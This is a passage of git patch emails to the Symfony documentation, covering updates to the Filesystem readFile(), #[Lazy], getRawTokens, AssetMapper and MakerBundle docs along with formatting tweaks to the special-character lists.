-    ``metatdata`` key, giving you more context and information about the workflow
-    at disposal. You can learn more about
-    :ref:`tag attributes <tags_additional-attributes>` and
-    :ref:`storing workflow metadata <workflow_storing-metadata>`
-    in their dedicated sections.
+    Note that workflow metadata are attached to tags under the ``metadata`` key,
+    giving you more context and information about the workflow at disposal.
+    Learn more about :ref:`tag attributes <tags_additional-attributes>` and
+    :ref:`storing workflow metadata <workflow_storing-metadata>`.
 
     .. versionadded:: 7.1
 

From 742b2cceaeac7d7ef8ae47a21f9c6f597237a1cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Mar 2024 17:30:13 +0100
Subject: [PATCH 5925/7107] [Filesystem] Document the readFile() method

---
 components/filesystem.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 8cdc2a34884..dabf3f81872 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -313,6 +313,22 @@ contents at the end of some file::
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+``readFile``
+~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``readFile()`` method was introduced in Symfony 7.1.
+
+:method:`Symfony\\Component\\Filesystem\\Filesystem::readFile` returns all the
+contents of a file as a string. Unlike the :phpfunction:`file_get_contents` function
+from PHP, it throws an exception when the given file path is not readable and
+when passing the path to a directory instead of a file::
+
+    $contents = $filesystem->readFile('/some/path/to/file.txt');
+
+The ``$contents`` variable now stores all the contents of the ``file.txt`` file.
+
 Path Manipulation Utilities
 ---------------------------
 

From df4dafc7ad4e64118004713c92b07d73dc40b95a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Mar 2024 12:21:46 +0100
Subject: [PATCH 5926/7107] Minor tweaks

---
 frontend/encore/server-data.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
index 3feff856c52..479c4ec21c2 100644
--- a/frontend/encore/server-data.rst
+++ b/frontend/encore/server-data.rst
@@ -21,15 +21,21 @@ Fetch this in JavaScript:
 
     document.addEventListener('DOMContentLoaded', function() {
         const userRating = document.querySelector('.js-user-rating');
-        const isAuthenticated = userRating.dataset.isAuthenticated;
-        const user = JSON.parse(userRating.dataset.user);
+        const isAuthenticated = userRating.getAttribute('data-is-authenticated');
+        const user = JSON.parse(userRating.getAttribute('data-user'));
     });
 
 .. note::
 
-    When `accessing data attributes from JavaScript`_, the attribute names are
-    converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes
-    ``dataset.numberOfReviews``.
+    If you prefer to `access data attributes via JavaScript's dataset property`_,
+    the attribute names are converted from dash-style to camelCase. For example,
+    ``data-number-of-reviews`` becomes ``dataset.numberOfReviews``:
+
+    .. code-block:: javascript
+
+        // ...
+        const isAuthenticated = userRating.dataset.isAuthenticated;
+        const user = JSON.parse(userRating.dataset.user);
 
 There is no size limit for the value of the ``data-*`` attributes, so you can
 store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
@@ -42,4 +48,4 @@ method that returns an array, you could do the following:
         <!-- ... -->
     </div>
 
-.. _`accessing data attributes from JavaScript`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes
+.. _`access data attributes via JavaScript's dataset property`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes

From ea926df585dbde3849e94b758d024deddf15c1c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Mar 2024 12:32:22 +0100
Subject: [PATCH 5927/7107] [Frontend] Move some page from Encore to Frontend

---
 _build/redirection_map                | 1 +
 frontend.rst                          | 1 +
 frontend/encore/index.rst             | 1 -
 frontend/{encore => }/server-data.rst | 0
 4 files changed, 2 insertions(+), 1 deletion(-)
 rename frontend/{encore => }/server-data.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 90303a53d75..3ad55f95c73 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -565,3 +565,4 @@
 /messenger/handler_results /messenger#messenger-getting-handler-results
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
+/frontend/encore/server-data /frontend/server-data
diff --git a/frontend.rst b/frontend.rst
index afc5edff8e3..519fe69e350 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -100,6 +100,7 @@ Other Front-End Articles
 
 * :doc:`/frontend/create_ux_bundle`
 * :doc:`/frontend/custom_version_strategy`
+* :doc:`/frontend/server-data`
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst
index 8e1ecb9973d..80f08deffb6 100644
--- a/frontend/encore/index.rst
+++ b/frontend/encore/index.rst
@@ -35,7 +35,6 @@ Guides
 
 * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
 * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
-* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
 * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
 * :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
 * :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
diff --git a/frontend/encore/server-data.rst b/frontend/server-data.rst
similarity index 100%
rename from frontend/encore/server-data.rst
rename to frontend/server-data.rst

From c62331d4d204df5f24b209087c2a6e9f466fe195 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Mar 2024 08:22:45 +0100
Subject: [PATCH 5928/7107] Improve the formatting of the lists of special
 characters

---
 components/cache/cache_items.rst |  5 ++---
 doctrine.rst                     |  2 +-
 mailer.rst                       |  2 +-
 notifier.rst                     |  6 +++---
 reference/formats/yaml.rst       | 20 +++++++++-----------
 5 files changed, 16 insertions(+), 19 deletions(-)

diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 9f020a39de9..475a9c59367 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -12,9 +12,8 @@ Cache Item Keys and Values
 The **key** of a cache item is a plain string which acts as its
 identifier, so it must be unique for each cache pool. You can freely choose the
 keys, but they should only contain letters (A-Z, a-z), numbers (0-9) and the
-``_`` and ``.`` symbols. Other common symbols (such as ``{``, ``}``, ``(``,
-``)``, ``/``, ``\``, ``@`` and ``:``) are reserved by the PSR-6 standard for future
-uses.
+``_`` and ``.`` symbols. Other common symbols (such as ``{ } ( ) / \ @ :``) are
+reserved by the PSR-6 standard for future uses.
 
 The **value** of a cache item can be any data represented by a type which is
 serializable by PHP, such as basic types (string, integer, float, boolean, null),
diff --git a/doctrine.rst b/doctrine.rst
index 03e4428db0b..c118a7c6280 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -61,7 +61,7 @@ The database connection information is stored as an environment variable called
 .. caution::
 
     If the username, password, host or database name contain any character considered
-    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
+    special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
diff --git a/mailer.rst b/mailer.rst
index 8f231be4520..17a8d97955b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -64,7 +64,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 .. caution::
 
     If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
diff --git a/notifier.rst b/notifier.rst
index fe3f0ff0ea5..177d691c55a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -50,7 +50,7 @@ SMS Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -211,7 +211,7 @@ Chat Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -415,7 +415,7 @@ Push Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 8127bf43729..3c4bd104465 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -34,12 +34,10 @@ must be doubled to escape it:
 
     'A single quote '' inside a single-quoted string'
 
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+Strings containing any of the following characters must be quoted:
+``: { } [ ] , & * # ? | - < > = ! % @`` Although you can use double quotes, for
+these characters it is more convenient to use single quotes, which avoids having
+to escape any backslash ``\``.
 
 The double-quoted style provides a way to express arbitrary strings, by
 using ``\`` to escape characters and sequences. For instance, it is very useful
@@ -52,11 +50,11 @@ when you need to embed a ``\n`` or a Unicode character in a string.
 If the string contains any of the following control characters, it must be
 escaped with double quotes:
 
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
+``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+``\_``, ``\L``, ``\P``
 
 Finally, there are other cases when the strings must be quoted, no matter if
 you're using single or double quotes:

From 6f05767d02593ebf2d47cfced08fabee1e0763b3 Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Thu, 25 Jan 2024 09:54:48 +0100
Subject: [PATCH 5929/7107] [DependencyInjection] Add `#[Lazy]` attribute

---
 reference/attributes.rst            |  1 +
 service_container/lazy_services.rst | 26 ++++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 08667e2a06f..015b8751834 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -37,6 +37,7 @@ Dependency Injection
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
+* :ref:`Lazy <lazy-services_configuration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 46e939d4fac..4d21837e4ae 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -124,6 +124,32 @@ laziness, and supports lazy-autowiring of intersection types::
     ) {
     }
 
+Another possibility is to use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Lazy` attribute::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Lazy;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Lazy]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter
+that also supports defining interfaces to proxy and intersection types::
+
+    public function __construct(
+        #[Lazy(FooInterface::class)]
+        FooInterface|BarInterface $foo,
+    ) {
+    }
+
+.. versionadded:: 7.1
+
+    The ``#[Lazy]`` attribute was introduced in Symfony 7.1.
+
 Interface Proxifying
 --------------------
 

From 0816f2b88a0aec8ddad0df640b94a2ae3b0f427e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Mar 2024 15:42:46 +0100
Subject: [PATCH 5930/7107] Tweaks

---
 service_container/lazy_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index ca883278453..41f27d8448f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -137,8 +137,8 @@ Another possibility is to use the :class:`Symfony\\Component\\DependencyInjectio
         // ...
     }
 
-This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter
-that also supports defining interfaces to proxy and intersection types::
+This attribute can be applied to both class and parameters that should be lazy-loaded.
+It defines an optional parameter used to define interfaces for proxy and intersection types::
 
     public function __construct(
         #[Lazy(FooInterface::class)]

From ad7303f7ca0c9302f126504991c66db2951ad98c Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 21 Mar 2024 18:22:19 +0100
Subject: [PATCH 5931/7107] Fix the default value for the constraints option of
 forms

`null` is not a valid value of this option.
---
 reference/forms/types/options/constraints.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc
index 7aab319f302..3e1af29f3ab 100644
--- a/reference/forms/types/options/constraints.rst.inc
+++ b/reference/forms/types/options/constraints.rst.inc
@@ -1,7 +1,7 @@
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null``
+**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``[]``
 
 Allows you to attach one or more validation constraints to a specific field.
 For more information, see :ref:`Adding Validation <form-option-constraints>`.

From 259482f48dec24c6d0836450e213305584a47449 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 9 Feb 2024 19:01:31 +0100
Subject: [PATCH 5932/7107] =?UTF-8?q?[5.4]=20add=20note=20about=20newer=20?=
 =?UTF-8?q?version=20on=20the=20=E2=80=9Cupgrade=20major=E2=80=9D=20guide?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup/upgrade_major.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9841a2496bd..c705c01059f 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -176,6 +176,12 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
           }
       }
 
+
+.. tip::
+
+    If a more recent minor version is available, e.g. ``6.4``, you can use this version directly
+    and skip the older releases, like ``6.0``. Check the `available versions`_.
+
 Next, use Composer to download new versions of the libraries:
 
 .. code-block:: terminal
@@ -335,3 +341,4 @@ Classes in the ``vendor/`` directory are always ignored.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
+.. _`available versions`: https://symfony.com/releases

From 3e752cacb17e8e81b9f6b2bc2890267e2ef52d6d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Mar 2024 10:33:48 +0100
Subject: [PATCH 5933/7107] Tweaks

---
 setup/upgrade_major.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index c705c01059f..f75762604ca 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -176,11 +176,11 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
           }
       }
 
-
 .. tip::
 
-    If a more recent minor version is available, e.g. ``6.4``, you can use this version directly
-    and skip the older releases, like ``6.0``. Check the `available versions`_.
+    If a more recent minor version is available (e.g. ``6.4``) you can use that
+    version directly and skip the older releases (``6.0``, ``6.1``, etc.).
+    Check the `maintained Symfony versions`_.
 
 Next, use Composer to download new versions of the libraries:
 
@@ -341,4 +341,4 @@ Classes in the ``vendor/`` directory are always ignored.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
-.. _`available versions`: https://symfony.com/releases
+.. _`maintained Symfony versions`: https://symfony.com/releases

From 2aec458835cd58504c910ad9bc625bd1012ab19d Mon Sep 17 00:00:00 2001
From: Pierre Arnissolle <pierre@arnissolle.com>
Date: Fri, 22 Mar 2024 10:45:17 +0100
Subject: [PATCH 5934/7107] Update shared.rst to add doc on PHP attributes

Add code block for PHP attributes
---
 service_container/shared.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/service_container/shared.rst b/service_container/shared.rst
index 435822fb25c..ea12de568d4 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -11,6 +11,19 @@ in your service definition:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/SomeNonSharedService.php
+        namespace App;
+
+	    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(shared: false)]
+        class SomeNonSharedService
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 64eb515797f8966408f8abd1896d7ed3893d1f41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 15:42:52 +0100
Subject: [PATCH 5935/7107] Rewords

---
 frontend/asset_mapper.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8b8658468fc..c4ec17337ef 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -188,11 +188,6 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
-.. note::
-
-    If you're getting a 404 error, you can contact the package maintainer and ask them to
-    include `"main":` and `"module":` to the package's `package.json`.
-
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
@@ -212,8 +207,14 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
     main package *and* its dependencies. If a package includes a main CSS file,
     that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
-    If the associated CSS file isn't added to the importmap, you can contact the package
-    maintainer and ask them to include `"style":` to the package's `package.json`.
+
+.. note::
+
+    If you get a 404 error, there might be some issue with the JavaScript package
+    that prevents it from being served by the ``jsDelivr`` CDN. For example, the
+    package might be missing properties like ``main`` or ``module`` in its
+    `package.json configuration file`_. Try to contact the package maintainer to
+    ask them to fix those issues.
 
 Now you can import the ``bootstrap`` package like usual:
 
@@ -449,7 +450,10 @@ To include it on the page, import it from a JavaScript file:
 
     Some packages - like ``bootstrap`` - advertise that they contain a CSS
     file. In those cases, when you ``importmap:require bootstrap``, the
-    CSS file is also added to ``importmap.php`` for convenience.
+    CSS file is also added to ``importmap.php`` for convenience. If some package
+    doesn't advertise its CSS file in the ``style`` property of the
+    `package.json configuration file`_ try to contact the package maintainer to
+    ask them to add that.
 
 Paths Inside of CSS Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1138,3 +1142,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle
 .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
 .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
+.. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file

From 995b8ac36a32b0a9c59b55ab94cbc70f82699a55 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?cl=C3=A9ment=20larrieu?= <homzon@gmail.com>
Date: Fri, 15 Mar 2024 11:35:34 +0100
Subject: [PATCH 5936/7107] doc: added a disambiguation on what the identifier
 is

Users could be confused seeing getUserId() and returning a user Id instead of the identifier defined in the app, such as an email.
---
 security/access_token.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index 81a3a9cdabe..c5a202249b1 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -97,6 +97,7 @@ This handler must implement
             }
 
             // and return a UserBadge object containing the user identifier from the found token
+            // the user identifier being an email, a username and not necessarily an Id
             return new UserBadge($accessToken->getUserId());
         }
     }

From c802af32e9393aaaf408c0f875d29e6e66ba569f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:17:05 +0100
Subject: [PATCH 5937/7107] Minor reword

---
 security/access_token.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index c5a202249b1..df02f3da6bc 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -97,7 +97,8 @@ This handler must implement
             }
 
             // and return a UserBadge object containing the user identifier from the found token
-            // the user identifier being an email, a username and not necessarily an Id
+            // (this is the same identifier used in Security configuration; it can be an email,
+            // a UUUID, a username, a database ID, etc.)
             return new UserBadge($accessToken->getUserId());
         }
     }

From 8733549a31d01dd5fb5cd8fac5b05940a68075f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:25:05 +0100
Subject: [PATCH 5938/7107] [AssetMapper] Adding updater to comparison table

---
 frontend.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index 519fe69e350..2314c9f5556 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,6 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
+Can update 3rd party packages     yes                                 yes :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -46,6 +47,14 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _ux-note-2:
+
+**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
+
+.. _ux-note-3:
+
+**[3]** Update checkers are available for NPM, e.g. `npm-check`.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From 0a6719096d20359d044d1fd964d0b319637de2c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:26:18 +0100
Subject: [PATCH 5939/7107] Tweak

---
 frontend.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 2314c9f5556..2c4a9671236 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 yes :ref:`[3] <ux-note-3>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -53,7 +53,7 @@ be executed by a browser.
 
 .. _ux-note-3:
 
-**[3]** Update checkers are available for NPM, e.g. `npm-check`.
+**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 

From f65137144162b98b52767dd1bc05ecd6361ec5c9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 25 Mar 2024 18:15:16 +0100
Subject: [PATCH 5940/7107] [AssetMapper] Removing orphaned footnote [2]

Page: https://symfony.com/doc/6.4/frontend.html
---
 frontend.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 2c4a9671236..6b7aa6f5048 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
+Can update 3rd party packages     yes                                 no :ref:`[2] <ux-note-2>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -49,11 +49,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
-
-.. _ux-note-3:
-
-**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
+**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 

From 7afdaa339959baaa3e55a8ec2fe33f1d93fb2d84 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Mar 2024 16:53:56 +0100
Subject: [PATCH 5941/7107] [Console] Mention `ArgvInput::getRawTokens`

---
 console/input.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/console/input.rst b/console/input.rst
index 4d709c18825..f889926be59 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -311,6 +311,37 @@ The above code can be simplified as follows because ``false !== null``::
     $yell = ($optionValue !== false);
     $yellLouder = ($optionValue === 'louder');
 
+Fetching The Raw Command Input
+------------------------------
+
+Sometimes, you may need to fetch the raw input that was passed to the command.
+This is useful when you need to parse the input yourself or when you need to
+pass the input to another command without having to worry about the number
+of arguments or options defined in your own command. This can be achieved
+thanks to the
+:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method::
+
+    // ...
+    use Symfony\Component\Process\Process;
+
+    protected function execute(InputInterface $input, OutputInterface $output): int
+    {
+        // pass the raw input of your command to the "ls" command
+        $process = new Process(['ls', ...$input->getRawTokens(true)]);
+        $process->setTty(true);
+        $process->mustRun();
+
+        // ...
+    }
+
+You can include the current command name in the raw tokens by passing ``true``
+to the ``getRawTokens`` method only parameter.
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+    method was introduced in Symfony 7.1.
+
 Adding Argument/Option Value Completion
 ---------------------------------------
 

From 0de0d796bb3913237652d990bf4ef6710169ec2d Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 26 Mar 2024 15:30:25 -0400
Subject: [PATCH 5942/7107] [MakerBundle] document --with-uuid & --with-ulid

Introduced in MakerBundle `v1.57.0` passing `--with-uuid` || --with-ulid` to:

- `make:user`
- `make:entity`
- `make:reset-password`

Will generate the entities with either `Uuid`'s or `Ulid`'s for the entities `id` / primary key.
---
 doctrine.rst              | 10 +++++++++-
 doctrine/associations.rst |  8 ++++++++
 security.rst              |  7 +++++++
 security/passwords.rst    |  7 +++++++
 4 files changed, 31 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index c118a7c6280..28767669844 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -157,9 +157,16 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 .. note::
 
-    Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes.
+    Starting in v1.44.0 - `MakerBundle`_: only supports entities using PHP attributes.
 
 .. note::
 
@@ -909,3 +916,4 @@ Learn more
 .. _`PDO`: https://www.php.net/pdo
